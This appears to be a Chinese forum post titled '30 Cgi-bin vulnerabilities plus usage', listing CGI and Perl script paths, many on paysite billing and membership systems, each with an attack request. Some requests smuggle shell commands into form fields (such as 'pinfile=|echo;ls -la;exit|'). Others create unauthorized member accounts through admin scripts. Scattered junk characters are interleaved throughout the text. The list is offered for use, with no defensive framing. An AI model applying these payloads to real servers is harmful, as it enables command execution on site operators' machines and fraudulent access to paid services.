Cgi-bin 30个漏洞＋使用方法

admin

==============================

/smspass.pl
username=username&password=password
& l+ t8 b/ I/ V, U  ^' F
1 y! N6 f' [) W# T8 H/index.cgi
( j4 C% Y& F2 Y7 `# `0 Rwei=ren&gen=command
  i+ V) [! s. C
/passmaster.cgi
! |+ B/ U- D. PAction=Add&Username=Username&Password=Password
( e  n: S: ^- \  B
/accountcreate.cgi
username=username&password=password&ref1=|echo;ls|
+ `/ a3 f& f# x1 Y
/form.cgi
name=xxxx&email=email&subject=xxxx&response=|echo;ls|

, I$ ~! O$ {$ H' P2 ~4 D7 z! _/addusr.pl
/cgi-bin/EuroDebit/addusr.pl
( m- D: X+ W8 V  juser=username&pass=Password&confirm=Password
( C4 z) C3 t" X( f, T
% c3 |+ M7 b$ d% G7 u3 M/ccbill-local.asp
post_values=username:password
% x* ]$ y6 H# K; S  A8 K+ A- B* p, i
/count.cgi
6 x, F) B( g& L" H' a6 k6 x& Rpinfile=|echo;ls -la;exit|
6 k4 |6 [3 r+ \1 [
3 q5 ^% A& j: D1 x1 d* W/ |4 k" _/recon.cgi
2 Y/ u" N7 K' c/recon.cgi?search
# R! A1 n0 K# U" a3 z8 r; Z& Ksearchoption=1&searchfor=|echo;ls -al;exit|

* K& S* c% G0 c8 C7 u; X" U/verotelrum.pl
vercode=username:password:dseegsow:add:amount<&30>
. k8 {; x. @& o7 z3 }' m+ n+ F) `6 ]2 @
, s' T. N  i& X! t' G/af.cgi
# g6 S9 L2 O& s0 I) l_browser_out=|echo;ls -la;exit;|

/modify.cgi
username=username&password=password&expire=30
/ F' \( W3 k) i) F! L* S" N
/openjournal.cgi
( z) @7 d( i, Z. z5 `: Eedit=1&ct=2&go=|echo;ls -al;exit|
( ]1 O3 X1 i0 ?7 F" O+ {
9 y6 w# \' n, z# X/gx9passwd.cgi
, B2 i% W5 m* o+ ucmd=ADD&user=username&pass=password
6 ^& L! _  Y8 w* ~/ X
/probecontrol.cgi
command=enable&username=username&password=password

% t' x6 G1 I. N( \( e3 |$ n6 U7 X8 @/recon.cgi
searchoption=3&searchfor=echo;ls -la;exit
9 M! R/ g2 l$ s  \: L; H$ d
2 R. m  J. b' u& M% N/htadd.pl
configfile=|echo; ls -alt; exit
  X, A6 N! f) L1 K: o
. Z, S' }, k  ?- L  t$ U/gx9passwd.cgi
cmd=ADD&user=username&pass=password

1 m( N8 n6 g  k+ f6 O  z1 w- b/ibill*.pl
+ k( {  D' ]! x+ r6 X: |reqtype=add&authpwd=authpwd&username=username&password=password
2 Q% _3 O' W( Y1 b
9 S' D' C: V3 P. B: u/ k0 i/cpay.cgi
command=add_member&username=username(EMAIL)&password=password(DES)
6 ^& x9 W' b, s- @$ V/ }6 `
% ^0 ~* H! a; \4 l, N" }/globill_ut.cgi
" W7 @3 L8 T9 ^- K) Gdo=add&username=username&password=password&wpassword=password
8 `% w0 H; y6 H6 ?+ `& ]7 U; C
/ R; \0 p) G1 t2 I+ F* f/usercontrol.cgi
command=enable&username=USER&password=PASS

/globoSALErum.cgi
action=ADD&seccode=seccode&login=username&password=password

; b4 g9 g' S, H8 J/addusr.pl
user=USER&pass=PASS&confirm=PASS
8 M( k3 A4 C( J+ g8 r+ k! g
+ T( ^: o* i" i! L& D" g/ b/pincount.cgi
/cgi-bin/mastergate/pincount.cgi
pinfile=|echo;pwd;exit|

/accountcreate.cgi
/cgi-bin/gateway/accountcreate.cgi
username=username&password=password&password2=password&ref1=|echo;ls -al;exit
, v8 O4 [7 h( j. Q* ?: }: b
/af.cgi
/ \$ w; Z" V8 m/env.cgi
ADD+;echo;pwd;exit
7 v9 b& N: ~4 a* Z3 O* j4 ^
/count.cgi
pinfile=|echo;pwd;exit|

5 K' d7 P* f* q/recon.cgi
  F0 w- b& m* N, P0 `# Bsearchoption=1&searchfor=|echo;ls%20-al;exit|

/add.cgi
username=username&password=password&expire=30

( p; `; j) K" X5 m3 K2 j4 u==============================
. E* ?2 v  [, _8 K5 _8 Q6 y: e